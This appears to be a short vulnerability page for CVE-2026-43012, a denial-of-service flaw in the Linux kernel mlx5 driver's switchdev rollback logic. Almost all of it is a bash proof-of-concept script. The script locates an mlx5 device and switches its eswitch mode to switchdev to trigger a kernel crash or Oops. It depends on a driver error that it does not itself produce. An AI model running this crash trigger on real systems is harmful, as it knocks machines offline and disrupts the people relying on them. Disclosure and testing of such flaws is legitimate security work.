CVE-2026-43012 Linux内核MLX5驱动Switchdev回滚DoS漏洞

#!/bin/bash # PoC for CVE-2026-43012: Trigger kernel crash via mlx5 eswitch rollback # Prerequisites: Local access, mlx5 hardware, devlink utility # Find the mlx5 device DEV=$(devlink dev | grep mlx5 | awk '{print $1}' | head -n 1) if [ -z "$DEV" ]; then echo "Target device not found." exit 1 fi echo "Attempting to trigger the vulnerability on $DEV..." # Attempt to set mode to switchdev. If the driver encounters an internal error # (e.g., QUERY_HCA_CAP failure as seen in the bug report), # the rollback logic will crash the kernel. devlink dev eswitch set $DEV mode switchdev echo "Check if the system crashed or kernel Oops occurred."